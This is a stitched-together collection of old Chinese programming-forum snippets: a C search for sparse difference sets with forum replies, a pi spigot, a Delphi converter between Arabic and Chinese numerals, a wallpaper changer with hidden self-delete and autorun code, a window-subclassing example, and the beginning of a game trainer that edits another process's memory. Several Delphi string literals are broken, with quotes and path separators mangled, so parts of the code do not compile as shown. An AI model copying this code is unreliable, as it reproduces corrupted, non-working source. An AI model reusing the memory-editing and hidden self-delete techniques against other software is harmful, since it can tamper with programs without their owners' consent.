if(prevans[rstop-2]==0) // we don't search too big numbers! :)

return;

curlist[1]=1; // of course, the first item is 1

startc = clock();

for(i=0;i<14;i++)

marray[i+1][0]=prevans[i];

for(i=2;i<rstop/2+1;i++) // fill up marray

{

STOP=i;

for(j=1;j<20;j++)

{

mval = -1;

memset(subval,0,sizeof(subval));

for(k=1;k<=j;k++)

subval[k]=1;

startsearch(2);

marray[i][j]=mval;

}

}

mval = -1;

memset(subval,0,sizeof(subval));

STOP = rstop;

startsearch(2); // now real search

end = clock();

printf("%d",mval);

for(i=1;i<=STOP;i++)

printf("%d ",flist[i]);

printf("");

printf("Time elapsed: %.2f seconds",(float)(end-startc)/CLK_TCK);

}

Top

回复人： gofor() ( ) 信誉：100 2002-9-8 7:50:00 得分:0

1 7 8 16 29 41 52 76 90 93 95 122 132 148 152

以上很可能是n=15时的最优解。之所以说“很可能”，是因为我用了几个未被证明的假设：

1、第1个差值小于第2个差值

2、使用1,2,4,9,13,22,33,42,54,70,77,100,123,138而不是1,2,4,7,12,18,26,35,45,56,73,86,107,128做为各位置的最小值。

3、仅搜索了142~152的区间。

历时约12小时。

Top

回复人： Lawrence444(胖子) ( ) 信誉：100 2002-9-8 15:49:00 得分:0

昨天晚上的程序有一个bug，改掉了。又增加了一下对偶性的利用，现在搜n=13用10分钟了（CPU: 450MHz)。

/* The always right complete search algorithm for hard problem

proposed by del_c_sharp */

#include <cstdio>

#include <cstring>

#include <cstdlib>

#include <ctime>

#include <iostream>

using namespace std;

int STOP;

int subval[1000]; // values generated by subtraction

int curlist[50],flist[50];

// flist stores the best list so far,

// curlist stores the current one

int marray[20][60];

// marray[i][j] denotes the smallest answer in i numbers

// without using ax-ay=z,z<=j

int mval;

// previous answers

const int prevans[50]={1,2,4,7,12,18,26,35,45,56,73,86,107,128};

double startc,end;

int verbose,maxj;

void startsearch(int n)

{

int start,i,j,k;

if(n>STOP){

if(curlist[n-1]<mval || mval==-1){

mval = curlist[n-1];

memcpy(flist,curlist,n*sizeof(int));

if(verbose){

printf("%d",mval);

printf("Current time: %.2f seconds",(float)(clock()-startc)/CLK_TCK);

for(i=1;i<=STOP;i++)

printf("%d ",flist[i]);

printf("");

}

}

return;

}

for(k=1;k<STOP;k++)

if(!subval[k])

break;

start=curlist[n-1]+k;

k--;

if(k>=maxj) // if too large

k=maxj-1; // use the ones we have

if(marray[STOP-n+1][k]==0) // if not calced

k=0; // use prevans

for(i=start;mval==-1 || i<mval-marray[STOP-n+1][k]+1;i++){

// if i is more than the maximum value to generate a better

// answer, no need to search anymore

curlist[n]=i;

// the application of 对偶性

if(n<STOP-1 && mval>0 && mval - curlist[2] + 1 < i + marray[STOP-n+1][k])

break;

for(j=1;j<n;j++)

if(subval[curlist[n]-curlist[j]])

break;

if(j<n)

continue;

if(verbose && n<=3)

printf("Place %d now searching: %d",n,i);

for(j=1;j<n;j++)

subval[curlist[n]-curlist[j]]++;

startsearch(n+1);

for(j=1;j<n;j++)

subval[curlist[n]-curlist[j]]=0;

if(n==STOP) // In the last step, it's no use to

break; // search for a further result

}

}

void main()

{

int i,j,k;

int rstop; // real stop

scanf("%d",&rstop);

memset(curlist,0,sizeof(curlist));

memset(marray,0,sizeof(marray));

if(prevans[rstop-2]==0) // we don't search too big numbers! :)

return;

curlist[1]=1; // of course, the first item is 1

startc = clock();

for(i=0;i<14;i++)

marray[i+1][0]=prevans[i];

verbose=0;

maxj = (prevans[rstop-2]+rstop*1.5)/3;

for(i=2;i<rstop/2+1;i++) // fill up marray

for(STOP=i,j=1;j<maxj;j++){

mval = -1;

memset(subval,0,sizeof(subval));

for(k=1;k<=j;k++)

subval[k]=1;

startsearch(2);

marray[i][j]=mval;

}

mval = -1;

memset(subval,0,sizeof(subval));

STOP = rstop;

verbose=1;

startsearch(2); // now real search

end = clock();

printf("%d",mval);

for(i=1;i<=STOP;i++)

printf("%d ",flist[i]);

printf("");

printf("Time elapsed: %.2f seconds",(float)(end-startc)/CLK_TCK);

}

Top

回复人： Lawrence444(胖子) ( ) 信誉：100 2002-9-8 17:29:37 得分:0

扑，gofor，还是你的算法好。

我用你的算法加上我的动态规划和对偶思想，n=13只用了370.25秒。按照咱俩机器速度的比例10:3计算，在你那里估计也就用不到两分钟。

不好意思再贴程序了，这两天贴了太多程序。


求PI值
long a=10000,b,c=2800,d,e,f[2801],g;

main()

{

for(;b-c;)

f[b++]=a/5;

for(;d=0,g=c*2;c-=14,printf("%.4d",e+d/a),e=d%a)

for(b=c;d+=f[b]*a,f[b]=d%--g,d/=g--,--b;d*=b);

}


阿拉伯数字和中文数字的转换
//代码来自32位深度历险台湾钱达智先生

unit cutils;

interface

uses

SysUtils;

function CNum2Num(sChineseNum: string; var dblArabic: double): boolean;

function Num2CNum(dblArabic: double): string;

implementation

(* -------------------------------------------------- *)

(* Num2CNum 将阿拉伯数字转成中文数字字串

(* 使用示例:

(* Num2CNum(10002.34) ==> 一万零二点三四

(*

(* Author: Wolfgang Chien

(* Date: 1996/08/04

(* Update Date:

(* -------------------------------------------------- *)

function Num2CNum(dblArabic: double): string;

const

_ChineseNumerica = '零一二三四五六七八九';

var

sArabic: string;

sIntArabic: string;

iPosOfDecimalPoint: integer;

i: integer;

iDigit: integer;

iSection: integer;

sSectionArabic: string;

sSection: string;

bInZero: boolean;

bMinus: boolean;

(* 将字串反向, 例如: 传入 '1234', 传回 '4321' *)

function ConvertStr(const sBeConvert: string): string;

var

x: integer;

begin

Result := '';

for x := Length(sBeConvert) downto 1 do

AppendStr(Result, sBeConvert[x]);

end; { of ConvertStr }

begin

Result := '';

bInZero := True;

sArabic := FloatToStr(dblArabic); (* 将数字转成阿拉伯数字字串 *)

{$ifdef __Debug}

ShowMessage('FloatToStr(dblArabic): ' + sArabic);

{$endif}

if sArabic[1] = '-' then

begin

bMinus := True;

sArabic := Copy(sArabic, 2, 254);

end

else

bMinus := False;

iPosOfDecimalPoint := Pos('.', sArabic); (* 取得小数点的位置 *)

{$ifdef __Debug}

ShowMessage('Pos(''.'', sArabic) ' + IntToStr(iPosOfDecimalPoint));

{$endif}

(* 先处理整数的部分 *)

if iPosOfDecimalPoint = 0 then

sIntArabic := ConvertStr(sArabic)

else

sIntArabic := ConvertStr(Copy(sArabic, 1, iPosOfDecimalPoint - 1));

(* 从个位数起以每四位数为一小节 *)

for iSection := 0 to ((Length(sIntArabic) - 1) div 4) do

begin

sSectionArabic := Copy(sIntArabic, iSection * 4 + 1, 4);

sSection := '';

(* 以下的 i 控制: 个十百千位四个位数 *)

for i := 1 to Length(sSectionArabic) do

begin

iDigit := Ord(sSectionArabic[i]) - 48;

if iDigit = 0 then

begin

(* 1. 避免 '零' 的重覆出现 *)

(* 2. 个位数的 0 不必转成 '零' *)

if (not bInZero) and (i <> 1) then sSection := '零' + sSection;

bInZero := True;

end

else

begin

case i of

2: sSection := '十' + sSection;

3: sSection := '百' + sSection;

4: sSection := '千' + sSection;

end;

sSection := Copy(_ChineseNumeric, 2 * iDigit + 1, 2) +

sSection;

bInZero := False;

end;

end;

(* 加上该小节的位数 *)

if Length(sSection) = 0 then

begin

if (Length(Result) > 0) and (Copy(Result, 1, 2) <> '零') then

Result := '零' + Result;

end

else

begin

case iSection of

0: Result := sSection;

1: Result := sSection + '万' + Result;

2: Result := sSection + '亿' + Result;

3: Result := sSection + '兆' + Result;

end;

end;

{$ifdef __Debug}

ShowMessage('sSection: ' + sSection);

ShowMessage('Result: ' + Result);

{$endif}

end;

(* 处理小数点右边的部分 *)

if iPosOfDecimalPoint > 0 then

begin

AppendStr(Result, '点');

for i := iPosOfDecimalPoint + 1 to Length(sArabic) do

begin

iDigit := Ord(sArabic[i]) - 48;

AppendStr(Result, Copy(_ChineseNumeric, 2 * iDigit + 1, 2));

end;

end;

{$ifdef __Debug}

ShowMessage('Result before 其他例外处理: ' + Result);

{$endif}

(* 其他例外状况的处理 *)

if Length(Result) = 0 then Result := '零';

if Copy(Result, 1, 4) = '一十' then Result := Copy(Result, 3, 254);

if Copy(Result, 1, 2) = '点' then Result := '零' + Result;

(* 是否为负数 *)

if bMinus then Result := '负' + Result;

{$ifdef __Debug}

ShowMessage('Result before Exit: ' + Result);

{$endif}

end;

(* -------------------------------------------------- *)

(* CNum2Num 将中文数字字串转成阿拉伯数字

(* 使用示例:

(* if CNum2Num('一千三百万零四十点一零三', dblTest)

(* dblTest ==> 13000040.103

(*

(* 注意事项:

(* 1. 转换成功, 函数传回 True; 否则为 False

(* 2. 不支援 '四万万' 等的说法, 必须为标准的记数方式

(*

(* Author: Wolfgang Chien

(* Date: 1996/08/04

(* Update Date:

(* -------------------------------------------------- *)

function CNum2Num(sChineseNum: string; var dblArabic: double): boolean;

const

_ChineseNumeric = '十百千万亿兆点零一二三四五六七八九';

{_ChineseNumeric = '1十3百5千7万9亿11兆13点15零17一19二21三四五六七八九';}

var

i: integer;

iPos: integer;

dblBuffer: double;

sMultiChar: string;

iDigit: integer;

iRightOfDecimal: integer;

bMinus: boolean;

(* 简单的十次方函数, 取 10^n, where n: byte and n >= 0 *)

function EasyPower10(iPower: byte): double;

var

i: integer;

begin

Result := 1;

try

for i := 1 to iPower do Result := Result * 10;

except

Result := 0;

end;

end;

begin

Result := False;

dblArabic := 0;

dblBuffer := 0;

iDigit := -1;

iRightOfDecimal := -1;

if Copy(sChineseNum, 1, 2) = '负' then

begin

sChineseNum := Copy(sChineseNum, 3, 254);

bMinus := True;

end

else

bMinus := False;

i := 1;

while i < Length(sChineseNum) do

begin

(* 如果不是中文字 ==> Fail *)

if sChineseNum[i] < #127 then Exit;

sMultiChar := Copy(sChineseNum, i, 2);

iPos := Pos(sMultiChar, _ChineseNumeric);

if iPos = 0 then Exit;

if (iDigit = -1) and (iPos > 13) then

iDigit := (iPos - 15) div 2;

case iPos of

1, 3, 5:

begin

(* 十百千 *)

if iDigit = -1 then iDigit := 1;

dblBuffer := dblBuffer + iDigit * EasyPower10((iPos + 1) div 2);

iDigit := -1;

end;

7, 9, 11:

begin

(* 万亿兆 *)

if (iDigit > 0) and (iDigit < 10) then

dblBuffer := dblBuffer + iDigit;

dblArabic := dblArabic + dblBuffer * EasyPower10((iPos-5) div 2 * 4);

iDigit := -1;

dblBuffer := 0;

end;

13:

begin

(* 小数点 *)

if (iDigit > 0) and (iDigit < 10) then

dblBuffer := dblBuffer + iDigit;

dblArabic := dblArabic + dblBuffer;

dblBuffer := 0;

iDigit := -1;

iRightOfDecimal := 0;

end;

15: (* 零 *)

begin

if iRightOfDecimal > -1 then Inc(iRightOfDecimal);

iDigit := -1;

end;

else

begin

if iRightOfDecimal > -1 then

begin

(* 小数点右边的部分 *)

Inc(iRightOfDecimal);

try

dblArabic := dblArabic + iDigit / EasyPower10(iRightOfDecimal);

except

Exit;

end;

iDigit := -1;

end;

end;

end;

{$ifdef __Debug}

ShowMessage(IntToStr(i) + 'th dblArabic: ' + FloatToStr(dblArabic));

ShowMessage(IntToStr(i) + 'th dblBuffer: ' + FloatToStr(dblBuffer));

ShowMessage(IntToStr(i) + 'th iDigit: ' + IntToStr(iDigit));

{$endif}

Inc(i, 2);

end;

if (iDigit > 0) and (iDigit < 10) then

dblBuffer := dblBuffer + iDigit;

if dblBuffer <> 0 then dblArabic := dblArabic + dblBuffer;

if bMinus then

begin

{$ifdef __SafeMode}

sChineseNum := '负' + sChineseNum;

{$endif}

dblArabic := dblArabic * -1;

end;

{$ifdef __SafeMode}

Result := sChineseNum = Num2CNum(dblArabic);

{$else}

Result := True;

{$endif}

end;

end.


壁纸随机更改
{*******************************************************************************

作者：Kingron 时间：2001.1.11

功能：用于随机的更换壁纸，能适应不同的分辨率。

联系方法：Kingron@163.net。

附注：Source.RES的建立方法：

用任意一个文本编辑器输入“SourceCode RT_RCDATA AltWallPaper.dpr”并保存

到源代码目录，然后用Delphi 5自带的Brcc32.exe进行编译即可。

*******************************************************************************}

program AltWallPaper;

uses

windows,Sysutils,jpeg,graphics,classes,registry,messages,shlobj,comobj,Activex;

const

WALLPAPERFILENAME='WallPaperK.BMP';

OUTFILENAME='AltWallPaper.dpr';

APPNAME='壁纸随机更换器';

USFILENAME='+APPNAME+'\u21368卸载'+APPNAME+'.lnk';

SETFILENAME='+APPNAME+'\u21442参数设置.lnk';

RUNFILENAME='+APPNAME+'\u38543随机更换壁纸.lnk';

PROGDIR='+APPNAME;

REGKEY='Software';

REGKEY1='Software';

MSG1=' 提示：本程序不需要注册，你可以自由传播和使用这个程序,唯一的要求是'

+'向作者寄一封信,如果你发现Bug也请及时报告作者以便修正。'

+'，但是作者不对使用本程序造成的任何损失负责！'#13

+' 联系方法：E_Mail（Kingron@163.net]）'#13

+' 本程序遵守源码开放原则，如果你修改了程序，请提供本程序源代码和你修改后的代码。'#13#13

+' 您需要源代码吗？选择[是]将生成源代码文件：'+OUTFILENAME;

MSG2=' 是否为程序建立快捷方式？选择[是]将在开始菜单中建立如下三个快捷方式：'#13

+'[程序]'+RUNFILENAME+#13+'[程序]'+SETFILENAME+#13+'[程序]'+USFILENAME+#13

+' 注意：如果要恢复本程序到第一次运行时的状态，请删除注册表中如下主键即可[HKEY_CURRENT_USER+REGKEY+']。';

type

TFindCallBack=procedure (const filename:string);

{$R *.RES}

{$R Source.RES}

var

path:string;

filenames:tstrings;

reg:tregistry;

windir:pchar;

sourcecode:TResourceStream;

programfolder:pchar;

ppidl:pitemidlist;

procedure Jpg2Bmp(const source,dest:string);

var

MyJpeg: TJpegImage;

bmp: Tbitmap;

begin

bmp:=TBitmap.Create;

MyJpeg:= TJpegImage.Create;

try

myjpeg.LoadFromFile(source);

bmp.Assign(myjpeg);

bmp.SaveToFile(dest);

finally

bmp.free;

myjpeg.Free;

end;

end;

procedure FindFile(const path: String;proc:TFindCallBack);

var

fpath: String;

info: TsearchRec;

begin

if path[length(path)]<>' then fpath:=path+' else fpath:=path;

try

if 0=findfirst(fpath+'*',faanyfile,info) then

begin

if (info.Name<>'.') and (info.Name<>'..') then

if (info.Attr and faDirectory)<>faDirectory then

proc(fpath+info.FindData.cFileName)

else

findfile(fpath+info.Name,proc);

while 0=findnext(info) do

if (info.Name<>'.') and (info.Name<>'..') then

if (info.Attr and faDirectory)<>faDirectory then

proc(fpath+info.FindData.cFileName)

else

findfile(fpath+info.Name,proc);

end;

finally

findclose(info);

end;

end;

procedure Callback(const fn:string);

var

ext:string;

begin

ext:=uppercase(extractfileext(fn));

if (ext='.JPG') or (ext='.BMP') then filenames.Add(fn);

end;

function SelectDirectory(const Caption: string; out Directory: string): Boolean;

var

lpbi:_browseinfo;

buf:array [0..MAX_PATH] of char;

id:ishellfolder;

begin

result:=false;

lpbi.hwndOwner:=0;

lpbi.lpfn:=nil;

lpbi.lpszTitle:=pchar(caption);

lpbi.ulFlags:=BIF_RETURNONLYFSDIRS+BIF_STATUSTEXT;

SHGetDesktopFolder(id);

lpbi.pidlRoot:=nil;

getmem(lpbi.pszDisplayName,MAX_PATH);

if shgetpathfromidlist(shbrowseforfolder(lpbi),buf) then

begin

result:=true;

directory:=buf;

if length(directory)<>3 then directory:=directory+';

end;

freemem(lpbi.pszDisplayName);

end;

function DirectoryExists(const Name: string): Boolean;

var

Code: Integer;

begin

Code := GetFileAttributes(PChar(Name));

Result := (Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code <> 0);

end;

procedure DeleteMe;

var

BatchFile: TextFile;

BatchFileName: string;

begin

if SetFileAttributes(pchar(paramstr(0)),FILE_ATTRIBUTE_NORMAL) then

begin

BatchFileName := changefileext(paramstr(0),'.bat');

AssignFile(BatchFile, BatchFileName);

Rewrite(BatchFile);

Writeln(BatchFile, ':try');

Writeln(BatchFile, 'del "' + ParamStr(0) + '"');

Writeln(BatchFile, 'if exist "' + ParamStr(0) + '"' + ' goto try');

Writeln(BatchFile, 'del %0');

CloseFile(BatchFile);

winexec(pchar(batchfilename),sw_hide);

end;

end;

function CreateLinkFile(const sourcefilename,Arguments,DestFileName:string):boolean;

var

anobj:IUnknown;

shlink:IShellLink;

pFile:IPersistFile;

wFileName:widestring;

begin

wFileName:=destfilename;

anobj:=CreateComObject(CLSID_SHELLLINK);

shlink:=anobj as IShellLink;

pFile:=anobj as IPersistFile;

shlink.SetPath(pchar(sourcefilename));

shlink.SetArguments(pchar(Arguments));

shlink.SetShowCmd(1);

if DestFileName='' then

wFileName:=ChangeFileExt(sourcefilename,'lnk');

result:=succeeded(pFile.Save(pwchar(wFileName),false));

end;

procedure fitbitmap;

var

abmp,bbmp:tbitmap;

scale:real;

sx,sy:integer;

begin

abmp:=tbitmap.Create;

bbmp:=tbitmap.Create;

sx:=GetSystemMetrics(SM_CXSCREEN);

sy:=GetSystemMetrics(SM_CYSCREEN);

try

abmp.LoadFromFile(windir+WALLPAPERFILENAME);

if (abmp.Width>sx) or (abmp.Height>sy) then

begin

if abmp.Width/sx>abmp.Height/sy then scale:=abmp.Width/sx else scale:=abmp.Height/sy;

bbmp.Width:=round(abmp.Width/scale);

bbmp.Height:=round(abmp.Height/scale);

bbmp.PixelFormat:=abmp.PixelFormat;

SetStretchBltMode(bbmp.Canvas.Handle,COLORONCOLOR);

stretchblt(bbmp.Canvas.Handle,0,0,bbmp.Width,bbmp.Height,abmp.Canvas.Handle,0,0,abmp.Width,abmp.Height,srccopy);

bbmp.SaveToFile(windir+WALLPAPERFILENAME);

end;

finally

abmp.Free;

bbmp.Free;

end;

end;

begin

Getmem(programfolder,MAX_PATH);

getmem(windir,MAX_PATH);

getwindowsdirectory(windir,MAX_PATH);

if strlen(windir)<>3 then strcat(windir,');

filenames:=tstringlist.Create;

reg:=tregistry.Create;

try

if succeeded(SHGetSpecialFolderLocation(0,CSIDL_PROGRAMS,ppidl)) then

if not shgetpathfromidlist(ppidl,programfolder) then

begin

messagebox(0,'出现未知错误！程序终止！','错误',MB_OK+MB_ICONERROR);

exit;

end;

if paramstr(1)='/U' then

if MessageBox(0,'你真的要卸载吗？','警告',MB_OKCANCEL+MB_ICONWARNING)=IDOK then

begin

reg:=tregistry.Create;

reg.DeleteKey(REGKEY);

reg.RootKey:=HKEY_LOCAL_MACHINE;

if reg.OpenKey(REGKEY1,false) and reg.ValueExists(APPNAME) then

reg.DeleteValue(APPNAME);

reg.CloseKey;

deletefile(programfolder+RUNFILENAME);

deletefile(programfolder+SETFILENAME);

deletefile(programfolder+USFILENAME);

removedirectory(pchar(programfolder+PROGDIR));

deleteme;

MessageBox(0,'成功卸载：'+APPNAME,'信息',MB_OK+MB_ICONINFORMATION);

exit;

end

else exit;

if reg.OpenKey(REGKEY,true) then

begin

if not reg.ValueExists('FirstRun') then

begin

if (MessageBox(0,MSG1,'信息',MB_YESNO+MB_ICONINFORMATION+MB_APPLMODAL)=IDYES) and

selectdirectory('请选择保存源代码文件的目录：',path) then

begin

sourcecode:=TResourceStream.Create(hinstance,'SourceCode','RT_RCDATA');

sourcecode.SaveToFile(path+OUTFILENAME);

sourcecode.Free;

end;

if MessageBox(0,MSG2,'安装',MB_YESNO+MB_ICONINFORMATION)=IDYES then

if (CoInitialize(nil)=S_OK) and CreateDirectory(pchar(programfolder+PROGDIR),nil) then

begin

CreateLinkFile(paramstr(0),'/AutoRun',programfolder+RUNFILENAME);

createlinkfile(paramstr(0),'',programfolder+SETFILENAME);

createlinkfile(paramstr(0),'/U',programfolder+USFILENAME);

CoUninitialize;

end else messagebox(0,'不能建立快捷方式，可能程序已经安装了！','错误',MB_OK+MB_ICONERROR);

end;

path:='';

reg.WriteBool('FirstRun',true);

if reg.ValueExists('Path') then

begin

if (paramstr(1)<>'/AutoRun') then

if selectdirectory(' 更改图片文件所在(JPEG格式或者BMP格式)的目录。请更改图片目录：',path) then

reg.WriteString('Path',path) else exit;

Path:=reg.ReadString('Path');

if not directoryexists(path) then

if selectdirectory(' 指定的图片(JPEG格式或者BMP格式)目录不存在。请另外选择一个目录：',path) then

reg.WriteString('Path',path) else exit;

end else

if selectdirectory(' 没有定义图片文件所在(JPEG格式或者BMP格式)的目录。必须指定目录程序才能正常运行，请选择目录：',path) then

reg.WriteString('Path',path) else exit;

reg.CloseKey;

if directoryexists(path) then

begin

findfile(path,Callback);

if filenames.Count>0 then

begin

randomize;

path:=filenames.Strings[random(filenames.Count)];

if Uppercase(extractfileext(path))='.JPG' then

try

SetFileAttributes(pchar(windir+WALLPAPERFILENAME),FILE_ATTRIBUTE_NORMAL);

jpg2bmp(path,windir+WALLPAPERFILENAME);

except

MessageBox(0,'不能建立输出文件。'#13+'请检查文件格式是否正确或者检查磁盘！','错误',MB_OK+MB_ICONERROR);

exit;

end else copyfile(pchar(path),pchar(windir+WALLPAPERFILENAME),false);

path:=windir+WALLPAPERFILENAME;

if fileexists(path) then

begin

Fitbitmap;

if reg.OpenKey('Control Panel',true) then

begin

reg.WriteString('WallPaper',path);

reg.WriteString('TileWallpaper','0');

systemparametersinfo(SPI_SETDESKWALLPAPER,0,pchar(path),0);

end;

end;

end;

end;

reg.RootKey:=HKEY_LOCAL_MACHINE;

if reg.OpenKey(REGKEY1,true) then reg.WriteString(APPNAME,paramstr(0)+' /AutoRun');

reg.CloseKey;

end;

finally

filenames.Free;

reg.Free;

freemem(programfolder);

freemem(windir);

end;

end.


一个回调例子
如何捕获TTreeView中滚动条滚动的动作

好不丫给你骂一顿，我招你了老哥？咱给您写段吧，“喷嚏震天响”兄的方法也行，您也可

以用他的方法写个VCL控件，可以添加进两个事件响应句柄。其实还有几个方法，但咱这个

比较简单，写个回调函数就完事了。咱没有试着用（没有装Delphi），纯粹瞎掰，不好使您

别骂我。

申明部分：

...

private

FClientInstance,

FPrevClientProc : TFarProc;

procedure ClientWndProc(var Message: TMessage);

...

实现部分：

procedure TForm1.FormCreate(Sender: TObject);

begin

FClientInstance := MakeObjectInstance(ClientWndProc);

FPrevClientProc := Pointer(GetWindowLong(TreeView1.Handle, GWL_WNDPROC));

{ 保存默认窗口回调函数指针，TreeView1.Handle 是需要监控的TreeView的句柄 }

SetWindowLong(ClientHandle, GWL_WNDPROC, LongInt(FClientInstance));

{ 设置自定义窗口回调函数 }

end;

procedure TForm1.ClientWndProc(var Message: TMessage);

begin

case Message.Msg of

WM_VSCROLL:

begin

{ 干您的好事，处理WM_VSCROLL消息，垂直滚动条变化消息 }

end;

WM_HSCROLL:

begin

{ 干您的好事，处理WM_HSCROLL消息，水平滚动条变化消息 }

end;

else

Result := CallWindowProc(FPrevClientProc, ClientHandle, Msg, wParam,

lParam);

{ 调用默认窗口回调函数处理其它消息 }

end;

end;

*********************

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ComCtrls;

type

TForm1 = class(TForm)

TreeView1: TTreeView;

procedure FormCreate(Sender: TObject);

private

FClientInstance,

FPrevClientProc : TFarProc;

procedure ClientWndProc(var Message: TMessage);

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

FClientInstance := MakeObjectInstance(ClientWndProc);

FPrevClientProc := Pointer(GetWindowLong(TreeView1.Handle, GWL_WNDPROC));

SetWindowLong(TreeView1.Handle, GWL_WNDPROC, LongInt(FClientInstance));

end;

procedure TForm1.ClientWndProc(var Message: TMessage);

begin

case Message.Msg of

WM_VSCROLL:

begin

ShowMessage ('wm_vscroll 事件');

end;

WM_HSCROLL:

begin

ShowMessage ('wm_hscroll 事件');

end;

end;

Message.Result := CallWindowProc(FPrevClientProc,

ClientHandle, Message.Msg, Message.wParam, Message.lParam);

end;

end.

不好意思，前面回答的代码段没有调试就是有好多问题，以上代码调试通过，不过好像点击

一次滚动条会激活两次 WM_xSCROLL消息，你可以做一个判断来过虑。


俄罗斯方块游戏

附件>>>> 俄罗斯方块.rar


一个游戏修改程序 [ 英雄无敌 ]
跨越内存禁区修改游戏数据(2001年第2期)

http://www.csdn.net/magazine/source/2/Hero.doc

unit uheromate;//本单元与uheromate窗体相对应

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, Menus, ComCtrls, Grids, ExtCtrls,ShellApi;

type

TModifyThread = class(TThread) //新建线程类，用于修改英雄属性页的设置

private

{ Private declarations }

protected

procedure Execute; override;

end;

TForm1 = class(TForm)

Label1: TLabel;

PageControl1: TPageControl;

TabSheet1: TTabSheet;

Label3: TLabel;

Edit1: TEdit;

UpDown1: TUpDown;

Edit2: TEdit;

UpDown2: TUpDown;

Edit3: TEdit;

UpDown3: TUpDown;

Edit4: TEdit;

UpDown4: TUpDown;

CheckBox1: TCheckBox; //英雄技能页-是否增加所有第二技能

CheckBox2: TCheckBox; //英雄技能页-是否修改四项第一技能

TabSheet2: TTabSheet;

TabSheet3: TTabSheet;

TabSheet4: TTabSheet;

ComboBox1: TComboBox; //英雄技能页-下拉框，用于选择英雄

Label2: TLabel;

B_skill: TButton; //英雄技能页-变更英雄属性按钮

B_nolimit: TButton; //机动力页-使英雄机动力无限按钮

B_allday: TButton;// 机动力页-锁定英雄机动力按钮

Timer1: TTimer;

ListBox1: TListBox;

B_okToAddArtifact: TButton; //宝物页-根据列表框中宝物修改游戏内存

B_add: TButton;//宝物页-增加宝物到列表框按钮

Label4: TLabel;

ComboBox2: TComboBox; //宝物页-宝物列表框

B_return: TButton; //返回游戏按钮

B_Remove: TButton; //宝物页-从列表框中减少宝物

procedure B_skillClick(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure ComboBox1Change(Sender: TObject);

procedure CheckBox2Click(Sender: TObject);

procedure B_nolimitClick(Sender: TObject);

procedure B_alldayClick(Sender: TObject);

procedure Timer1Timer(Sender: TObject);

procedure B_okToAddArtifactClick(Sender: TObject);

procedure B_addClick(Sender: TObject);

procedure B_returnClick(Sender: TObject);

procedure B_RemoveClick(Sender: TObject);

procedure FormDestroy(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

heroname:pchar; //当前修改的英雄名

heroBaseAdd,heroAdd:integer; //第一个英雄的地址和当前英雄的序号

heros:array[0..180] of pchar; //英雄名序列

isdebug:integer; //是否已用OpenProcess函数打开游戏进程

winhwnd:hwnd; //游戏窗口句柄

pId,threadId:Integer; //拥有游戏主窗口的进程和线程ID

hProcess: THandle; //用OpenProcess函数游戏进程的句柄

str1:string='锁定机动力';

str2:string='取消锁定';

implementation

{$R *.DFM}

procedure TForm1.B_skillClick(Sender: TObject);//修改英雄属性页设置

var

threadNew:TModifyThread;

begin

threadNew:=TModifyThread.Create(false);

threadNew.Execute;

if not SetForegroundWindow(winhWnd) then

showmessage(inttostr(getlasterror));

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

isdebug:=0;

heroBaseAdd:=$015c7f63; //<--光盘版$015d7f63;//硬盘版 $015c7f63;

heros[0]:='Orrin'; heros[1]:='Valeska'; heros[2]:='Edric'; heros[3]:='Sylvia';

heros[4]:='Lord Haart(1)';heros[5]:='Sorsha'; heros[6]:='Christian'; heros[7]:='Tyris';

heros[8]:='Rion'; heros[9]:='Adela'; heros[10]:='Cuthbert'; heros[11]:='Adelaide';

heros[12]:='Ingham'; heros[13]:='Sanya'; heros[14]:='Loynis'; heros[15]:='Caitlin';

heros[16]:='Mephala'; heros[17]:='Ufretin'; heros[18]:='Jenova'; heros[19]:='Ryland';

heros[20]:='Thorgrim'; heros[21]:='Ivor'; heros[22]:='Clancy'; heros[23]:='Kyrre';

heros[24]:='Coronius'; heros[25]:='Uland'; heros[26]:='Elleshar'; heros[27]:='Gem';

heros[28]:='Malcom'; heros[29]:='Melodia'; heros[30]:='Alagar'; heros[31]:='Aeris';

heros[32]:='Piquedram'; heros[33]:='Thane'; heros[34]:='Josephine'; heros[35]:='Neela';

heros[36]:='Torosar'; heros[37]:='Fafner'; heros[38]:='Rissa'; heros[39]:='Iona';

heros[40]:='Astral'; heros[41]:='Halon'; heros[42]:='Serena'; heros[43]:='Daremyth';

heros[44]:='Theodorus'; heros[45]:='Solmyr'; heros[46]:='Cyra'; heros[47]:='Aine';

heros[48]:='Fiona'; heros[49]:='Rashka'; heros[50]:='Marius'; heros[51]:='Ignatius';

heros[52]:='Octavia'; heros[53]:='Calh'; heros[54]:='Pyre'; heros[55]:='Nymus';

heros[56]:='Ayden'; heros[57]:='Xyron'; heros[58]:='Axsis'; heros[59]:='Olema';

heros[60]:='Calid'; heros[61]:='Ash'; heros[62]:='Zydar'; heros[63]:='Xarfax';

heros[64]:='Straker'; heros[65]:='Vokial'; heros[66]:='Moandor'; heros[67]:='Charna';

heros[68]:='TamikaIsra'; heros[69]:='Isra'; heros[70]:='Clavius'; heros[71]:='Galthran';

heros[72]:='Septienna'; heros[73]:='Aislinn'; heros[74]:='Sandro'; heros[75]:='Nimbus';

heros[76]:='Thant'; heros[77]:='Xsi'; heros[78]:='Vidomina'; heros[79]:='Nagash';

heros[80]:='Lorelei'; heros[81]:='Arlach'; heros[82]:='Dace'; heros[83]:='Ajit';

heros[84]:='Damacon'; heros[85]:='Gunnar'; heros[86]:='Synca'; heros[87]:='Shakti';

heros[88]:='Alamar'; heros[89]:='Jaegar'; heros[90]:='Malekith'; heros[91]:='Jeddite';

heros[92]:='Geon'; heros[93]:='Deemer'; heros[94]:='Sephinroth'; heros[95]:='Darkstorn';

heros[96]:='Yog'; heros[97]:='Gurnisson'; heros[98]:='Jabarkas'; heros[99]:='Shiva';

heros[100]:='Gretchin'; heros[101]:='Krellion'; heros[102]:='Crag Hack';heros[103]:='Tyraxor';

heros[104]:='Gird'; heros[105]:='Vey'; heros[106]:='Dessa'; heros[107]:='Terek';

heros[108]:='Zubin'; heros[109]:='Gundula'; heros[110]:='Oris'; heros[111]:='Saurug';

